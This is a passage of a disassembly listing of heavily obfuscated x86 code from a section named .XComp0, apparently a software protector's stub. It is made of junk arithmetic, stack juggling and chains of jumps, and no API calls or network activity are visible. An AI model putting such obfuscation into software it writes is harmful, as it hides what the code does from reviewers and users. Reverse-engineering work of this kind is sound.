; ---------------------------------------------------------------------------


loc_5872CD:				; CODE XREF: .XComp0:0058D855j
		xor	edi, ebx
		sub	edi, 5747939h
		sub	esp, 4
		jmp	loc_583BEB
; ---------------------------------------------------------------------------


loc_5872DD:				; CODE XREF: .XComp0:005860E5j
		mov	eax, ebx
		pop	ebx
		jmp	loc_5933AE
; ---------------------------------------------------------------------------


loc_5872E5:				; CODE XREF: .XComp0:0058708Cj
		pop	esp
		mov	ax, [esp]
		push	edi
		push	esp
		jmp	loc_59487A
; ---------------------------------------------------------------------------


loc_5872F1:				; CODE XREF: .XComp0:0058F947j
		mov	ecx, 281E32F4h
		jmp	loc_5925C7
; ---------------------------------------------------------------------------


loc_5872FB:				; CODE XREF: .XComp0:00585744j
		push	esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 6983E38h
		neg	ebx
		not	ebx
		xor	ebx, 6983E33h
		add	esi, ebx
		pop	ebx
		jmp	loc_583E7E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	40F0h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58A99A
; ---------------------------------------------------------------------------


loc_58732C:				; CODE XREF: .XComp0:00588E3Bj
		mov	ecx, 4
		sub	ebp, 44242F67h
		sub	ebp, ecx
		add	ebp, 44242F67h
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_58CDBD
; ---------------------------------------------------------------------------


loc_58734E:				; CODE XREF: .XComp0:005971D1j
		push	esi
		push	ebp
		jmp	loc_583D34
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58B44D
; ---------------------------------------------------------------------------


loc_58735D:				; CODE XREF: .XComp0:00592A19j
		mov	[esp], ebx
		mov	ebx, esp
		push	1B85h
		mov	[esp], ebp
		mov	ebp, 0C282629h
		jmp	loc_594180
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		jmp	loc_58A01F
; ---------------------------------------------------------------------------


loc_58737E:				; CODE XREF: .XComp0:0059158Ej
		mov	cl, 5Dh
		not	cl
		inc	cl
		and	cl, 0B9h
		jmp	loc_59289D
; ---------------------------------------------------------------------------


loc_58738C:				; CODE XREF: .XComp0:00587FE5j
		pop	edx
		jmp	loc_597688
; ---------------------------------------------------------------------------


loc_587392:				; CODE XREF: .XComp0:005896A5j
		add	edi, ecx
		sub	edi, 5D416866h
		pop	ecx
		sub	esp, 4
		jmp	loc_590AF0
; ---------------------------------------------------------------------------


loc_5873A3:				; CODE XREF: .XComp0:005975C1j
		add	ebp, ecx
		jmp	loc_5853D9
; ---------------------------------------------------------------------------


loc_5873AA:				; CODE XREF: .XComp0:00591B62j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58E32A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_595E85
; ---------------------------------------------------------------------------


loc_5873C5:				; CODE XREF: .XComp0:005876CFj
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_585FA0
; ---------------------------------------------------------------------------


loc_5873D3:				; CODE XREF: .XComp0:00590B39j
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		jmp	loc_583D20
; ---------------------------------------------------------------------------


loc_5873E1:				; CODE XREF: .XComp0:0058E98Ej
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 2
		push	7902h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_597604
; ---------------------------------------------------------------------------


loc_5873FE:				; CODE XREF: .XComp0:00585E25j
		mov	ebx, 1A3C0FC8h
		inc	ebx
		sub	ebx, 0CFC0B561h
		xor	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	edi, 1
		jmp	loc_58F096
; ---------------------------------------------------------------------------


loc_58741D:				; CODE XREF: .XComp0:0058C7B5j
		add	esp, 4
		jmp	loc_58EC30
; ---------------------------------------------------------------------------


loc_587425:				; CODE XREF: .XComp0:005843A3j
		and	esi, 3507304Fh
		jmp	loc_590F3B
; ---------------------------------------------------------------------------


loc_587430:				; CODE XREF: .XComp0:0058E821j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_587ECE
; ---------------------------------------------------------------------------


loc_58743F:				; CODE XREF: .XComp0:005975A4j
		push	edi
		jmp	loc_58948F
; ---------------------------------------------------------------------------


loc_587445:				; CODE XREF: .XComp0:005948B9j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	5F45h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_58E7FE
; ---------------------------------------------------------------------------


loc_587472:				; CODE XREF: .XComp0:00588D41j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	edi, ebx
		jmp	loc_59272D
; ---------------------------------------------------------------------------


loc_587487:				; CODE XREF: .XComp0:00595C4Aj
		not	ah
		xchg	ah, dh
		jmp	loc_587206
; ---------------------------------------------------------------------------


loc_587490:				; CODE XREF: .XComp0:00590AF3j
		mov	esi, 4
		jmp	loc_597902
; ---------------------------------------------------------------------------


loc_58749A:				; CODE XREF: .XComp0:005844A1j
		not	esi
		xchg	esi, edx
		add	edx, 791F482Fh
		add	edx, 4C6AA9A8h
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		push	edx
		mov	edx, 344D449Ch
		jmp	loc_590EAB
; ---------------------------------------------------------------------------


loc_5874BC:				; CODE XREF: .XComp0:00592783j
		shl	ecx, 3
		push	eax
		push	edx
		mov	edx, 23CF2CAEh
		sub	edx, 67034A8Bh
		and	edx, 2A2147C3h
		shl	edx, 7
		jmp	loc_588224
; ---------------------------------------------------------------------------


loc_5874DA:				; CODE XREF: .XComp0:0058D064j
		add	eax, 2D1B18B0h
		pop	ebp
		sub	eax, 3ACC1292h
		add	eax, 241913C6h
		push	esi
		mov	esi, 27391970h
		add	eax, esi
		jmp	loc_5894B2
; ---------------------------------------------------------------------------


loc_5874F7:				; CODE XREF: .XComp0:005893B4j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_5955E1
; ---------------------------------------------------------------------------


loc_587505:				; CODE XREF: .XComp0:00583C4Dj
		push	ebp
		push	eax
		mov	eax, 451544CEh
		push	eax
		jmp	loc_589341
; ---------------------------------------------------------------------------


loc_587512:				; CODE XREF: .XComp0:0058F074j
		sub	eax, ebx
		add	eax, 3D746780h
		jmp	loc_58D979
; ---------------------------------------------------------------------------


loc_58751E:				; CODE XREF: .XComp0:005893FEj
		pop	ecx
		push	ebp
		push	esp
		jmp	loc_583D6C
; ---------------------------------------------------------------------------


loc_587526:				; CODE XREF: .XComp0:0058A241j
		mov	ebx, 4FF154F9h
		sub	ebx, 47507F30h
		jmp	loc_584416
; ---------------------------------------------------------------------------


loc_587536:				; CODE XREF: .XComp0:00585390j
		neg	al
		dec	al
		xor	al, 6Ah
		not	al
		inc	al
		add	al, 0A4h
		jmp	loc_594A88
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 629839AAh
		mov	ebp, 0AB7F5104h
		sub	ebp, edx
		pop	edx
		push	ebx
		jmp	loc_58AE49
; ---------------------------------------------------------------------------


loc_587579:				; CODE XREF: .XComp0:0058B8BCj
		push	5E6Dh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58C94A
; ---------------------------------------------------------------------------


loc_58758E:				; CODE XREF: .XComp0:005883EFj
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_58BC45
; ---------------------------------------------------------------------------


loc_5875A3:				; CODE XREF: .XComp0:0058B18Aj
		add	ecx, 125B50ECh
		or	ecx, 44F8361Dh
		sub	ecx, 30D9E69Eh
		jmp	loc_58D943
; ---------------------------------------------------------------------------


loc_5875BA:				; CODE XREF: .XComp0:00585B14j
		pop	edi
		jmp	loc_5915C4
; ---------------------------------------------------------------------------


loc_5875C0:				; CODE XREF: .XComp0:00593BA5j
		add	dl, al
		pop	eax
		push	bx
		mov	bh, 17h
		xor	dl, bh
		jmp	loc_5916B9
; ---------------------------------------------------------------------------


loc_5875CE:				; CODE XREF: .XComp0:00584319j
		mov	ebx, [esp]
		push	37E3h
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_598D8F
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_58F010
; ---------------------------------------------------------------------------


loc_5875F3:				; CODE XREF: .XComp0:00592B03j
		pop	ebx
		sub	ebx, 5233402Bh
		xor	ebx, 289C1178h
		jmp	loc_58C31F
; ---------------------------------------------------------------------------


loc_587605:				; CODE XREF: .XComp0:00593725j
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	bl, al
		jmp	loc_5848C4
; ---------------------------------------------------------------------------


loc_587612:				; CODE XREF: .XComp0:00585B3Aj
		pop	ecx
		xor	cl, dh
		pop	edx
		inc	cl
		sub	cl, 80h
		xor	cl, 0BBh
		sub	esp, 4
		mov	[esp], eax
		mov	al, cl
		sub	esp, 4
		jmp	loc_58BB70
; ---------------------------------------------------------------------------


loc_587631:				; CODE XREF: .XComp0:0059154Fj
		not	ebx
		xor	ebx, 3290E575h
		add	eax, ebx
		pop	ebx
		add	eax, edi
		sub	eax, 1C66088Ah
		jmp	loc_58FDD4
; ---------------------------------------------------------------------------


loc_587648:				; CODE XREF: .XComp0:0058B30Bj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	edx, 3E101839h
		add	edx, ebx
		push	edi
		mov	edi, 55A04D08h
		dec	edi
		jmp	loc_58F7C4
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		push	ecx
		push	ebp
		mov	ebp, 30E07DEAh
		jmp	loc_5930A0
; ---------------------------------------------------------------------------


loc_587679:				; CODE XREF: .XComp0:00596018j
		mov	ecx, edx
		jmp	loc_592C4C
; ---------------------------------------------------------------------------


loc_587680:				; CODE XREF: .XComp0:00589D0Bj
		mov	[esp], edi
		push	esp
		jmp	loc_59098E
; ---------------------------------------------------------------------------


loc_587689:				; CODE XREF: .XComp0:0058E391j
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5876A9:				; CODE XREF: .XComp0:00588D59j
		xor	ecx, ebp
		jmp	loc_58FBB6
; ---------------------------------------------------------------------------


loc_5876B0:				; CODE XREF: .XComp0:0058EAE2j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58C982
; ---------------------------------------------------------------------------


loc_5876B9:				; CODE XREF: .XComp0:00585123j
		push	ebp
		jmp	loc_596AE5
; ---------------------------------------------------------------------------


loc_5876BF:				; CODE XREF: .XComp0:0058F166j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5873C5
; ---------------------------------------------------------------------------


loc_5876D4:				; CODE XREF: .XComp0:0058F6C6j
		sub	al, bl
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0D3h
		add	al, cl
		jmp	loc_58A9CF
; ---------------------------------------------------------------------------


loc_5876E5:				; CODE XREF: .XComp0:005915BFj
		push	edi
		mov	edi, 5B94671Bh
		xor	edi, 14253417h
		shr	edi, 6
		not	edi
		jmp	loc_588552
; ---------------------------------------------------------------------------


loc_5876FB:				; CODE XREF: .XComp0:0058B57Cj
		add	esp, 4
		push	4488h
		mov	[esp], eax
		push	255h
		mov	[esp], edi
		mov	edi, 4
		mov	eax, edi
		pop	edi
		add	ebx, 72042A15h
		add	ebx, eax
		sub	ebx, 72042A15h
		mov	eax, [esp]
		push	ebp
		push	esp
		jmp	loc_59449C
; ---------------------------------------------------------------------------


loc_587731:				; CODE XREF: .XComp0:00593CC2j
		sub	ecx, 60794AD3h
		add	ecx, edi
		push	edx
		mov	edx, 60794AD3h
		add	ecx, edx
		pop	edx
		pop	edi
		jmp	loc_593DB6
; ---------------------------------------------------------------------------


loc_587748:				; CODE XREF: .XComp0:005937BEj
		xor	edi, 0F357DBF4h
		jmp	loc_58950F
; ---------------------------------------------------------------------------


loc_587753:				; CODE XREF: .XComp0:0059579Fj
		shr	esi, 3
		shr	esi, 8
		jmp	loc_588734
; ---------------------------------------------------------------------------


loc_58775E:				; CODE XREF: .XComp0:00591A04j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58DCCA
; ---------------------------------------------------------------------------


loc_58776A:				; CODE XREF: .XComp0:005858C9j
		pop	eax
		pop	edx
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 20h
		add	cl, 60h
		add	cl, bh
		sub	cl, 60h
		pop	ebx
		sub	al, 0AEh
		jmp	loc_590DAF
; ---------------------------------------------------------------------------


loc_587785:				; CODE XREF: .XComp0:005915E4j
		pop	ebx
		xor	cl, dl
		pop	edx
		jmp	loc_5848CE
; ---------------------------------------------------------------------------


loc_58778E:				; CODE XREF: .XComp0:00586FC9j
		add	edi, 4
		jmp	loc_58A857
; ---------------------------------------------------------------------------


loc_587799:				; CODE XREF: .XComp0:0058BCEBj
		push	edx
		mov	edx, 1873707Ch
		sub	edx, 1
		or	edx, 728122D3h
		push	ebx
		mov	ebx, 76DC4482h
		neg	ebx
		jmp	loc_58AB8F
; ---------------------------------------------------------------------------


loc_5877B5:				; CODE XREF: .XComp0:00586B5Cj
		push	7D42h
		mov	[esp], edi
		mov	edi, ebp
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		pop	ebp
		mov	ecx, ebp
		pop	ebp
		jmp	loc_58662E
; ---------------------------------------------------------------------------


loc_5877D2:				; CODE XREF: .XComp0:005901E0j
		mov	eax, 4
		sub	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_587E36
; ---------------------------------------------------------------------------


loc_5877E4:				; CODE XREF: .XComp0:0058D2F0j
		xchg	ebx, [esp]
		jmp	loc_593433
; ---------------------------------------------------------------------------


loc_5877EC:				; CODE XREF: .XComp0:00585A90j
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_589FEA
; ---------------------------------------------------------------------------


loc_587813:				; CODE XREF: .XComp0:0058ACFEj
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_587818:				; CODE XREF: .XComp0:00597848j
		shr	ecx, 1
		xor	ecx, 1C4E39CFh
		jmp	loc_586B59
; ---------------------------------------------------------------------------


loc_587825:				; CODE XREF: .XComp0:00585003j
		push	ecx
		jmp	loc_58B4DC
; ---------------------------------------------------------------------------


loc_58782B:				; CODE XREF: .XComp0:0058A794j
		not	ecx
		jmp	loc_589679
; ---------------------------------------------------------------------------


loc_587832:				; CODE XREF: .XComp0:00594CBCj
		add	ebp, ebx
		pop	ebx
		sub	ebp, 1EF36395h
		sub	ebp, edi
		add	ebp, 1EF36395h
		sub	ebp, 7A7C7A9Ah
		pop	edi
		or	ebp, 6443292Bh
		xor	ebp, 390D1FC2h
		or	esi, ebp
		jmp	loc_593D07
; ---------------------------------------------------------------------------


loc_58785D:				; CODE XREF: .XComp0:00594270j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_58CA47
; ---------------------------------------------------------------------------


loc_58786E:				; CODE XREF: .XComp0:00590348j
		add	esp, 4
		push	edi
		mov	edi, 63775353h
		neg	edi
		sub	edi, 5CF83A07h
		and	edi, 78524963h
		jmp	loc_58ED94
; ---------------------------------------------------------------------------


loc_58788A:				; CODE XREF: .XComp0:0058D5EDj
		mov	edx, ebx
		jmp	loc_598557
; ---------------------------------------------------------------------------


loc_587891:				; CODE XREF: .XComp0:00589542j
		mov	ecx, edi
		pop	edi
		not	ecx
		xor	ecx, 8044CE47h
		and	edx, ecx
		pop	ecx
		sub	edx, 0E169F257h
		and	ecx, edx
		pop	edx
		push	ebp
		mov	ebp, 4DFA07B5h
		push	0
		sub	[esp], ebp
		pop	ebp
		neg	ebp
		add	ebp, 0AEC6689h
		sub	esp, 4
		mov	[esp], ebp
		inc	dword ptr [esp]
		pop	ebp
		sub	ebp, 105B0EDDh
		jmp	loc_58C6E4
; ---------------------------------------------------------------------------


loc_5878D4:				; CODE XREF: .XComp0:00597457j
		mov	ecx, 6DBC329Eh
		xor	ecx, 0BA81B386h
		xor	ebx, ecx
		pop	ecx
		add	eax, 42B25614h
		add	eax, ebx
		jmp	loc_59602C
; ---------------------------------------------------------------------------


loc_5878EE:				; CODE XREF: .XComp0:0058586Cj
		not	ecx
		or	ecx, 5BC8061Eh
		jmp	loc_5865F3
; ---------------------------------------------------------------------------


loc_5878FB:				; CODE XREF: .XComp0:0058D4E5j
		add	ebx, ecx
		pop	ecx
		jmp	loc_58FFD1
; ---------------------------------------------------------------------------


loc_587903:				; CODE XREF: .XComp0:005923FDj
		push	eax
		mov	eax, 2186272Fh
		or	eax, 8482106h
		sub	eax, 0F803B7D7h
		add	ebx, eax
		pop	eax
		shl	ebx, 6
		xor	ebx, 137192C4h
		jmp	loc_5930ED
; ---------------------------------------------------------------------------


loc_587924:				; CODE XREF: .XComp0:0058F1E6j
		mov	esi, 34388DD5h
		jmp	loc_5869EB
; ---------------------------------------------------------------------------


loc_58792E:				; CODE XREF: .XComp0:00590730j
		pop	eax
		sub	edx, edi
		pop	edi
		pop	ebp
		jmp	loc_593FEC
; ---------------------------------------------------------------------------


loc_587938:				; CODE XREF: .XComp0:0058A47Cj
		pop	edi
		push	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	7FA348BFh
		jmp	loc_596009
; ---------------------------------------------------------------------------


loc_587957:				; CODE XREF: .XComp0:00592B81j
		push	edi
		push	eax
		mov	eax, 7BA44630h
		push	esi
		mov	esi, 8855AE39h
		push	5D4Eh
		jmp	loc_594706
; ---------------------------------------------------------------------------


loc_58796E:				; CODE XREF: .XComp0:0058E279j
		add	ecx, 12956F51h
		pop	eax
		push	ebx
		push	eax
		mov	eax, 582B0C83h
		jmp	loc_58E62E
; ---------------------------------------------------------------------------


loc_587981:				; CODE XREF: .XComp0:00590A09j
		push	ebx
		push	edx
		push	ebx
		mov	bh, 8
		sub	bh, 0FFh
		push	edx
		mov	dh, 58h
		sub	bh, dh
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_59319F
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 3632h
		mov	[esp], ax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5879AB:				; CODE XREF: .XComp0:00587C88j
		shl	ebp, 5
		push	ecx
		push	41B74E42h
		pop	ecx
		or	ecx, 5F9C0276h
		xor	ecx, 37F1690Eh
		xor	ecx, 1259CBE8h
		xor	ebp, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ecx, ebp
		jmp	loc_595855
; ---------------------------------------------------------------------------


loc_5879E6:				; CODE XREF: .XComp0:00586D23j
		pop	esp
		mov	[esp], eax
		push	15Eh
		mov	[esp], ebx
		push	4931B9Ah
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4F2D0C18h
		neg	esi
		shl	esi, 4
		shr	esi, 2
		add	esi, 42914826h
		xor	ebx, esi
		pop	esi
		jmp	loc_5918E9
; ---------------------------------------------------------------------------


loc_587A19:				; CODE XREF: .XComp0:00590153j
		add	esp, 4
		add	esp, 4
		jmp	loc_590BD2
; ---------------------------------------------------------------------------


loc_587A27:				; CODE XREF: .XComp0:0058BADEj
		push	dword ptr [esp]
		pop	esi
		push	0CC7h
		mov	[esp], ebp
		jmp	loc_590163
; ---------------------------------------------------------------------------


loc_587A38:				; CODE XREF: .XComp0:0058DD0Dj
		add	dl, 6Eh
		pop	cx
		sub	dl, 80h
		add	al, dl
		mov	edx, [esp]
		add	esp, 4
		mov	dx, [esp]
		jmp	loc_590C24
; ---------------------------------------------------------------------------


loc_587A51:				; CODE XREF: .XComp0:0059522Fj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58BAA1
; ---------------------------------------------------------------------------


loc_587A65:				; CODE XREF: .XComp0:00587068j
		neg	edx
		neg	edx
		and	edx, 6FAE493Ah
		shr	edx, 1
		sub	edx, 27171FFCh
		add	edi, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5978D9
; ---------------------------------------------------------------------------


loc_587A90:				; CODE XREF: .XComp0:005927ACj
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 200709h
		shr	ebp, 3
		and	ebp, 9634AADh
		and	ebp, 43C615BDh
		inc	ebp
		xor	ebp, 63F7AEAh
		xor	ebp, 63F7A4Ch
		add	eax, ebp
		pop	ebp
		push	2806h
		mov	[esp], esi
		push	eax
		push	4
		jmp	loc_597A53
; ---------------------------------------------------------------------------


loc_587ACA:				; CODE XREF: .XComp0:00585DFEj
		add	eax, 4
		push	edi
		mov	edi, 4
		jmp	loc_588933
; ---------------------------------------------------------------------------


loc_587ADA:				; CODE XREF: .XComp0:00593670j
		mov	dl, al
		mov	ch, dl
		jmp	loc_5961E0
; ---------------------------------------------------------------------------


loc_587AE3:				; CODE XREF: .XComp0:00598462j
		not	edx
		or	edx, 4C0E048Dh
		jmp	loc_58A543
; ---------------------------------------------------------------------------


loc_587AF0:				; CODE XREF: .XComp0:00588F26j
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ebp, 29A21F77h
		add	ebp, ecx
		jmp	loc_596122
; ---------------------------------------------------------------------------


loc_587B18:				; CODE XREF: .XComp0:00594926j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	edi, [esp]
		jmp	loc_586955
; ---------------------------------------------------------------------------


loc_587B2A:				; CODE XREF: .XComp0:00586732j
		add	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_595DCC
; ---------------------------------------------------------------------------


loc_587B3A:				; CODE XREF: .XComp0:005976D9j
		mov	[esp], edi
		push	6D57h
		jmp	loc_592F1A
; ---------------------------------------------------------------------------


loc_587B47:				; CODE XREF: .XComp0:00588319j
		add	edi, 4
		jmp	loc_587D66
; ---------------------------------------------------------------------------


loc_587B52:				; CODE XREF: .XComp0:00596BBEj
		mov	[esp], eax
		mov	eax, 338E10F6h
		dec	eax
		or	eax, 8485AF7h
		not	eax
		add	eax, 7AEB2ADCh
		sub	eax, 0E7F85B06h
		xor	edx, eax
		pop	eax
		jmp	loc_585066
; ---------------------------------------------------------------------------


loc_587B74:				; CODE XREF: .XComp0:00595577j
		push	eax
		jmp	loc_585DFC
; ---------------------------------------------------------------------------


loc_587B7A:				; CODE XREF: .XComp0:00592933j
		add	edx, 23615A7Fh
		push	edi
		jmp	loc_58E905
; ---------------------------------------------------------------------------


loc_587B86:				; CODE XREF: .XComp0:0059189Dj
		mov	esp, [esp]
		mov	ax, [esp]
		push	ecx
		push	28EBh
		jmp	loc_58DD46
; ---------------------------------------------------------------------------


loc_587B98:				; CODE XREF: .XComp0:005958EFj
		mov	[esp], esi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	25F0h
		mov	[esp], edx
		push	ebp
		mov	ebp, 38CF2502h
		sub	ebp, 1F487F83h
		push	edx
		jmp	loc_5855B2
; ---------------------------------------------------------------------------


loc_587BC1:				; CODE XREF: .XComp0:005881B7j
		add	ebx, 676C39A6h
		add	eax, ebx
		jmp	loc_58F726
; ---------------------------------------------------------------------------


loc_587BCE:				; CODE XREF: .XComp0:005955CEj
		xchg	esi, [esp]
		mov	esp, [esp]
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_583BDC
		push	dword ptr [edi+28h]
		push	edi
		mov	edi, 57DF1077h
		xor	[esp+4], edi
		pop	edi
		pop	eax
		push	edi
		push	4872h
		jmp	loc_58C39E
; ---------------------------------------------------------------------------


loc_587C01:				; CODE XREF: .XComp0:005981F4j
		pop	edx
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_587C07:				; CODE XREF: .XComp0:00594948j
		add	ebp, 0A627979h
		add	ebp, edi
		jmp	loc_59110D
; ---------------------------------------------------------------------------


loc_587C14:				; CODE XREF: .XComp0:0058A4B0j
		shl	ecx, 5
		add	ecx, 0F486F88Bh
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 594C7FE0h
		jmp	loc_590772
; ---------------------------------------------------------------------------


loc_587C2B:				; CODE XREF: .XComp0:0058B549j
		push	23Eh
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, 53F615B9h
		jmp	loc_589305
; ---------------------------------------------------------------------------


loc_587C43:				; CODE XREF: .XComp0:005884A6j
		mov	esi, 5D134189h
		mov	edx, esi
		pop	esi
		push	edi
		mov	edi, 0BF37188h
		xor	edx, edi
		jmp	loc_59513E
; ---------------------------------------------------------------------------


loc_587C58:				; CODE XREF: .XComp0:0058CA87j
		add	ebp, 4
		jmp	loc_58428D
; ---------------------------------------------------------------------------


loc_587C63:				; CODE XREF: .XComp0:005946F8j
		pop	dword ptr [esp]
		jmp	loc_586FA6
; ---------------------------------------------------------------------------


loc_587C6B:				; CODE XREF: .XComp0:005954C2j
		add	esp, 4
		add	ecx, 65CA383Ch
		jmp	loc_58D3B3
; ---------------------------------------------------------------------------


loc_587C7C:				; CODE XREF: .XComp0:0058BA74j
		pop	esi
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5879AB
; ---------------------------------------------------------------------------


loc_587C8D:				; CODE XREF: .XComp0:0058C14Ej
		shl	edx, 7
		jmp	loc_5929B8
; ---------------------------------------------------------------------------


loc_587C95:				; CODE XREF: .XComp0:0058F15Fj
		push	4D1B7B66h
		pop	ebp
		add	ebp, 0B2E4849Eh
		mov	eax, ebp
		jmp	loc_58509F
; ---------------------------------------------------------------------------


loc_587CA8:				; CODE XREF: .XComp0:0058504Bj
		mov	ebp, esp
		push	edi
		sub	esp, 4
		jmp	loc_58927E
; ---------------------------------------------------------------------------


loc_587CB6:				; CODE XREF: .XComp0:0058E62Fj
		push	esi
		mov	esi, 38074881h
		mov	edx, esi
		jmp	loc_5865E7
; ---------------------------------------------------------------------------


loc_587CC3:				; CODE XREF: .XComp0:0058A696j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	7DD7h
		mov	[esp], ecx
		mov	ecx, 1CB652A5h
		sub	ebp, 457226E2h
		add	ebp, ecx
		add	ebp, 457226E2h
		pop	ecx
		push	2B7Eh
		mov	[esp], eax
		push	esi
		mov	esi, ebp
		push	esi
		jmp	loc_5920C5
; ---------------------------------------------------------------------------


loc_587CF7:				; CODE XREF: .XComp0:00589A8Aj
		sub	eax, 4C9821BEh
		add	eax, ebx
		add	eax, 4C9821BEh
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 289E7290h
		push	ebx
		jmp	loc_5970C2
; ---------------------------------------------------------------------------


loc_587D18:				; CODE XREF: .XComp0:0059682Dj
		pop	esi
		push	eax
		mov	eax, 4
		sub	esi, 1F4644C3h
		add	esi, eax
		add	esi, 1F4644C3h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58D827
; ---------------------------------------------------------------------------


loc_587D38:				; CODE XREF: .XComp0:0058C25Ej
		mov	bh, 1Bh
		mov	dl, 75h
		add	dl, bh
		pop	ebx
		push	0A5Fh
		mov	[esp], eax
		push	ebx
		mov	bh, 49h
		mov	al, 8Fh
		xor	al, bh
		pop	ebx
		jmp	loc_58DE6D
; ---------------------------------------------------------------------------


loc_587D54:				; CODE XREF: .XComp0:0058429Ej
		add	ebp, 4
		jmp	loc_58C1A0
; ---------------------------------------------------------------------------


loc_587D5C:				; CODE XREF: .XComp0:0058A501j
		sub	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_587D66:				; CODE XREF: .XComp0:00587B4Dj
		add	edi, 4
		jmp	loc_59164E
; ---------------------------------------------------------------------------


loc_587D6E:				; CODE XREF: .XComp0:0058E70Ej
		push	ecx
		jmp	loc_58C3BD
; ---------------------------------------------------------------------------


loc_587D74:				; CODE XREF: .XComp0:00595856j
		add	eax, ecx
		jmp	loc_59897A
; ---------------------------------------------------------------------------


loc_587D7B:				; CODE XREF: .XComp0:00593B51j
		pop	esi
		push	ecx
		mov	ecx, 7D734385h
		shr	ecx, 2
		or	ecx, 6981813h
		xor	ecx, 31C17301h
		jmp	loc_59302E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58EFAC
; ---------------------------------------------------------------------------


loc_587D9F:				; CODE XREF: .XComp0:0058CB22j
		mov	ecx, 330D2A30h
		sub	[esp+8], ecx
		pop	ecx
		add	[esp+4], edx
		add	dword ptr [esp+4], 330D2A30h
		jmp	loc_596CA4
; ---------------------------------------------------------------------------


loc_587DBA:				; CODE XREF: .XComp0:0058B246j
